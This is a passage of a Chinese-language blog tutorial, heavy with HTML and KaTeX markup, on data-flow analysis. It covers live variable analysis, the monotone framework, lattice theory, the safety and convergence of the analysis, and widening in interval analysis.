mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></p></li><li><p>如果某个结点的后继结点发生了变化，则使用结点更新运算更新该结点的值。</p></li><li><p>如果没有任何结点的值发生变化，则程序终止。</p></li></ol><p>活跃变量分析需要考虑 <strong>sound</strong> 和 <strong>Convergence</strong>，也即严格满足 may 分析，活跃变量集合包含所有可能的活跃变量；活跃变量分析的算法需要收敛。</p><h2 id="单调框架">单调框架</h2><p>为了确保符号分析和活跃变量分析的收敛性和正确性，提出了<strong>数据流分析的单调框架</strong>，通过一个通用的可定义的框架，囊括数据流分析基本流程，并且检验每一步的状态转换函数和参数。一般而言，单调框架会涉及到</p><ul><li>设置节点对应的不同类型集合的统一接口。</li><li>设置节点转换函数的统一接口。</li></ul><p>在开始之前，读者需要明白以下数学内容。</p><h2 id="格理论基础简介">格理论基础简介</h2><p>格（Lattice）是其非空有限子集都有一个上确界（称为<strong>并</strong>）和一个<a href="https://zh.wikipedia.org/wiki/%E4%B8%8B%E7%A1%AE%E7%95%8C">下确界</a>（称为**交）的<a href="https://zh.wikipedia.org/wiki/%E5%81%8F%E5%BA%8F%E9%9B%86%E5%90%88">偏序集合</a>（poset）。如果学习过离散数学，那么知道偏序关系是对于 “大于” 或者 “小于” 关系的抽象。</p><p>先复习二元关系性质的内容，R(x, y) 表示 x, y 满足关系 R</p><ul><li>自反性。对于集合 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 上的<a href="https://zh.wikipedia.org/wiki/%E4%BA%8C%E5%85%83%E5%85%B3%E7%B3%BB">二元关系</a> R，若满足：取 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 里任一元素 a，且满足对于所有 a 皆存在 (a,a) 在 R 集合中，则称二元关系 R 是<strong>自反的</strong>，或称 R 具有<strong>自反性</strong>，或称 R 为<strong>自反关系</strong>。例如 a &gt;= a。</li><li>反自反性。若集合 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 上的二元关系为非对称关系，则</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7073em;vertical-align:-0.024em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span></span></p><p>例如 a&gt;b，那么就不会有 b&gt;a。</p><ul><li><p>对称性。若集合 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 上的二元关系为非对称关系，则对于所有$ (a,b)\in R\implies (b,a) \in R$。</p></li><li><p>传递性。数学上表示为：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">∀</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">c</span></span></span></span></span></p><p>例如：<strong>大于等于</strong>具有传递关系：若 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7733em;vertical-align:-0.1367em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩾</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 且 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8311em;vertical-align:-0.1367em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩾</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span></span></span></span> 则 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8311em;vertical-align:-0.1367em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⩾</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span></span></span></span></p></li></ul><h3 id="半格-semilattice">半格 semilattice</h3><img src="https://cdn.blog-blockchain.xyz/202204110017956.png" alt="image-20220411001735705" style="zoom: 50%;" /><p>如果理解了「群、环、域」这些近世代数的基本内容，可以很容易的理解这些抽象定义。我们<strong>开始理解格和数据流分析的关系</strong>。在前面经常提到「抽象」这个词，比如对于具体的符号 <code>+</code>、<code>-</code>，在某个节点中可能同时出现，那么用更加抽象的符号 <code>T</code> 表示。其实，这里的 <code>T</code> 相当于格中的最大元。每一步的抽象类似于偏序关系，构造不同抽象层次的符号集。</p><p>**半格的高度：**偏序图的层次数，也等同于半格的偏序图中任意两个结点的最大距离+1。例如下面的偏序图，半格高度为 3<br><img src="https://cdn.blog-blockchain.xyz/202204110029312.png" alt="image-20220411002927120" style="zoom: 50%;" /></p><h3 id="单调框架的基本流程">单调框架的基本流程</h3><p>在有了以上的知识后，我们给出概括性的基本流程：</p><ol><li>构建控制流图 (V, E)。请回忆前面我们规定每个语句处视作状态，状态用节点表示，状态之间的联系用节点之间的边表示。</li><li>一个有限高度的半格(𝑆,⊓)。「有限」表示控制流会终止，也表示数据流分析收敛。S 表示状态的集合，例如判断数值正负的符号集合，那么 S 包括 {+, -, T}。⊓ 则定义了控制语句交汇处状态汇总的规则。</li><li>一个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">ry</span></span></span></span> 的初值 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>。<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">ry</span></span></span></span> 表示初始输入，不同的输入，程序的收敛性和正确性可能不一样。</li><li>一组单调的节点转换函数，对除了入口的任意节点 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">ry</span></span></span></span> 存在一个 单调函数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。除了初始输入，我们对于每个状态的抽象层次(例如上面提到的 零 正 负和 T。大于表示超集)，使用偏序关系进行排序。采用单调函数以保证偏序关系。</li></ol><p>下面是伪代码实现：</p><img src="https://cdn.blog-blockchain.xyz/202204110044693.png" alt="image-20220411004452475" style="zoom: 50%;" /><ol><li>程序入口赋初值为 I</li><li>除了初始位置的其他节点都赋予默认值 T</li><li>初始化未访问的节点集合</li><li>如果未访问的节点数量大于 0，那么<ol><li>从未访问的节点中选取一个节点 v</li><li>在未访问节点集合中删除节点 v</li><li>交汇节点 v 的每个前驱节点 w, 确定交汇操作。</li><li>如果节点交汇操作输入到节点 v 的状态转移函数后，导致节点 v 的值之前值不同，则更新他的后继节点。</li><li>覆盖节点 v 原来的状态</li></ol></li></ol><p>从上面的流程可以看出来，选取的开始的节点，并不是从初始输入的程序入口处开始执行，这其实是出于考虑状态转换时可能存在特殊的节点，执行到它们后，根据前面提到的规则，可能无法向前驱节点传递状态改变。</p><h2 id="小结">小结</h2><img src="https://cdn.blog-blockchain.xyz/202204110106617.png" alt="image-20220411010651253" style="zoom:67%;" /><h2 id="数据流分析的性质">数据流分析的性质</h2><h3 id="最大下界">最大下界</h3><p>这一般会在离散数学中学习，在偏序集合中(允许大于等于)，对于某个子集的最大下界，是所有不大于它的元素中的最大元。如下图举例（默认读者理解哈斯图）：如果找 d, e 的最大下界，d,e 的下界有 a,b,c。然后找 a, b, c 中的最大元，由于 a, b, c 没有最大元，所以不存在最大下界。但是如果找 {d, e, b} 最大下界，可以明显的知道是 b。</p><p><img src="http://cdn.blog-blockchain.xyz/202210042236003.jpeg" alt=""></p><p>严格定义可以参考下图：</p><img src="https://cdn.blog-blockchain.xyz/202208052315970.png" alt="image-20220805231533889" style="zoom: 50%;" /><p>可以看出，半格是特殊的偏序关系，所有元素都存在“大小关系”。</p><h3 id="数据流分析的安全性">数据流分析的安全性</h3><p>安全性体现为保持 sound，也就是不会出现 false positive 但是可能出现 false negative。交汇的操作后的值会比单独的每一条路径在此节点的值更小。这里嵌套的状态转移函数表示从入口到节点 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的状态转移过程。严格的定义如下：</p><img src="https://cdn.blog-blockchain.xyz/202208052328885.png" alt="image-20220805232859815" style="zoom:50%;" /><p>如果考虑到路径上的节点其实也可能进行了交汇操作，上面的结论是否还是成立呢？其实只要满足前面小节中变化函数是单调函数，而且交汇函数形成半格即可。详细说明如下：</p><img src="https://cdn.blog-blockchain.xyz/202208052339826.png" alt="image-20220805233917750" style="zoom:50%;" /><h3 id="数据流分析的分配性">数据流分析的分配性</h3><p>分配性是为了克服 false negative 提出的。<strong>分配性的定义</strong>：一个数据流分析满足分配性，如果</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span></span></p><p>可以发现，安全性可以理解为右边小于等于左边。可以通过集合运算验证是否满足分配性，注意观察下面的结果是等号而不是被包含，另外要理解即使满足了分配性，数据流分析可能还是近似的，因为节点的状态转换函数还是可能是近似的。我们略过证明过程。</p><img src="https://cdn.blog-blockchain.xyz/202208061703080.png" alt="image-20220806170300963" style="zoom:50%;" /><h3 id="数据流分析的收敛性">数据流分析的收敛性</h3><p>由于数据流分析的基本原理是交汇操作和节点转换函数，再结合基本条件中节点转换函数必须是单调的，因此随着路径地加深，而半格高度有限，必然会逐渐收敛。可以证明，收敛到不动点，且它一定是最大的不动点。</p><img src="https://cdn.blog-blockchain.xyz/202208061716553.png" alt="image-20220806171659475" style="zoom: 67%;" /><h2 id="widening-and-narrowing">widening and narrowing</h2><p>它的提出是为了解决数据流分析的复杂性，太过复杂会导致收敛速度极慢。</p><h3 id="区间分析">区间分析</h3><p>以区间分析为例：</p><img src="https://cdn.blog-blockchain.xyz/202208061734290.png" alt="image-20220806173421224" style="zoom: 67%;" /><p>可以想到的是，如果正向进行，变量的范围应当是逐渐扩大的，即交汇操作满足 $$[a, b] \sqcap[c, d]=[\min (a, c), \max (b, d)]$$变换函数表示这条语句自身导致变量的变化，例如加上一个变量或者变量组合。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.75em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen">[</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">[</span><span class="mord mathnormal">c</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mopen">[</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">c</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mclose">]</span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen">[</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">[</span><span class="mord mathnormal">c</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mopen">[</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">c</span><span class="mclose">]</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>但是这样构成的半格高度是无限的，而且操作也不能保证单调性，因此提出了改进策略——人为指定上下界。如果下界大于类型的最大值，那么为空值，程序异常；如果下界小于最大值，那么更新下界和上界，其中如果最大值之和和类型最大值取其中小者。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.41em;vertical-align:-0.955em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">{</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.455em;"><span style="top:-3.615em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">[</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">[</span><span class="mord mathnormal">c</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord amsrm">∅</span></span></span><span style="top:-2.405em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">c</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">min</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">int</span></span><span class="mord" style="margin-right:0.02778em;">_</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">max</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.955em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.455em;"><span style="top:-3.615em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">int</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">−</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">max</span></span></span><span style="top:-2.405em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">int</span></span><span class="mord" style="margin-right:0.02778em;">_</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.955em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><h3 id="基础-widening">基础 widening</h3><p>但是这样做的复杂度还是很高，于是可以<strong>通过降低结果的精度来加快收敛速度</strong>。基本的 widening 的方法是<strong>降低格的高度，它的核心是把结果进一步抽象，通过单调函数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 把原来的半格映射成新的格，也即<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∘</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span></strong>。例如在区间分析中可以预定范围，</p><ul><li>定义有限集合：$$B=\left{ -\infty ,10,20,50,100,+\infty \right}$$</li><li>定义映射函数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mopen">([</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mclose">])</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mop">max</span><span class="mopen">{</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7955em;vertical-align:-0.136em;"></span><span 